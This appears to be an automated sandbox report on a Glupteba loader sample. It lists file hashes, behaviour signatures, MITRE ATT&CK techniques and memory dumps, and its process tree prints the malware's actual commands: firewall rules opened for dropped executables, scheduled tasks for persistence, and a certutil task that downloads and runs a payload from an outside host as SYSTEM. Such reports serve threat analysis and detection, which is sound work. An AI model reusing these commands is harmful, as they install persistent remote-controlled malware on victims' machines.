Overview

overview

10

Static

static

3

dff4968d49...18.exe

windows7-x64

10

dff4968d49...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2024 09:55

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General

  • Target

    dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe

  • Size

    3.5MB

  • MD5

    dff4968d497550e1da527124fa30e98a

  • SHA1

    d6b024ad1b5c03c10f95f43b64ab02dcb7daadd1

  • SHA256

    188560c03f91098c43058a6afed5421527621e6586bfe3ffd7d1c9c89d8f5c6a

  • SHA512

    4811aedc306caf69102e02646fa84da4eac7ee3f0c5505ea6c696338a852976a8091a45c3a7e275a640dd73b90da5003437e14404583b6c68ad5930d114faa0b

  • SSDEEP

    98304:JPh3YfUtvCsiiZXwgjzRuP9C7dA7+QKndIlyVVSA:HYCDimXtjzR1q7+QKdIY3

Score
10/10
gluptebadiscoverydropperevasionloaderpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • UPX packed file 24 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:372
    • C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2788
      • C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3232
        • C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe
          "C:\Users\Admin\AppData\Local\Temp\dff4968d497550e1da527124fa30e98a_JaffaCakes118.exe"
          4⤵
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4944
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:2276
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d7f31c348c1c\d7f31c348c1c\d7f31c348c1c.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:512
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d7f31c348c1c\d7f31c348c1c\d7f31c348c1c.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:4052
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1084
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe ""
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:4160
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1188
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3164
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                7⤵
                  PID:2224
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\Sysnative\bcdedit.exe /v
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2816

    Network

    MITRE ATT&CK Enterprise v15

    Reconnaissance

    Resource Development

    Initial Access

    Execution

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Persistence

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Create or Modify System Process

    1
    T1543

    Windows Service

    1
    T1543.003

    Event Triggered Execution

    1
    T1546

    Netsh Helper DLL

    1
    T1546.007

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Privilege Escalation

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Create or Modify System Process

    1
    T1543

    Windows Service

    1
    T1543.003

    Event Triggered Execution

    1
    T1546

    Netsh Helper DLL

    1
    T1546.007

    Scheduled Task/Job

    1
    T1053

    Scheduled Task

    1
    T1053.005

    Defense Evasion

    Impair Defenses

    1
    T1562

    Disable or Modify System Firewall

    1
    T1562.004

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    1
    T1082

    System Location Discovery

    1
    T1614

    System Language Discovery

    1
    T1614.001

    Lateral Movement

    Collection

    Command and Control

    Exfiltration

    Impact

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      Download Submit

    • C:\Windows\rss\csrss.exe
      Filesize

      3.5MB

      MD5

      dff4968d497550e1da527124fa30e98a

      SHA1

      d6b024ad1b5c03c10f95f43b64ab02dcb7daadd1

      SHA256

      188560c03f91098c43058a6afed5421527621e6586bfe3ffd7d1c9c89d8f5c6a

      SHA512

      4811aedc306caf69102e02646fa84da4eac7ee3f0c5505ea6c696338a852976a8091a45c3a7e275a640dd73b90da5003437e14404583b6c68ad5930d114faa0b

      Download Submit

    • memory/372-2-0x0000000002A00000-0x0000000002D6E000-memory.dmp

      Filesize

      3.4MB

      Download

    • memory/372-1-0x0000000002670000-0x00000000029F2000-memory.dmp

      Filesize

      3.5MB

      Download

    • memory/1524-26-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/1524-33-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/1524-25-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/1524-29-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/1524-27-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/1524-28-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-8-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-5-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-3-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-12-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-11-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-6-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-9-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-10-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/2788-7-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/3232-19-0x0000000000400000-0x0000000000839000-memory.dmp

      Filesize

      4.2MB

      Download

    • memory/3232-21-0x0000000000400000-0x0000000000839000-memory.dmp

      Filesize

      4.2MB

      Download

    • memory/4160-48-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-47-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-46-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-45-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-49-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-50-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-51-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-52-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download

    • memory/4160-55-0x0000000000400000-0x0000000000B27000-memory.dmp

      Filesize

      7.2MB

      Download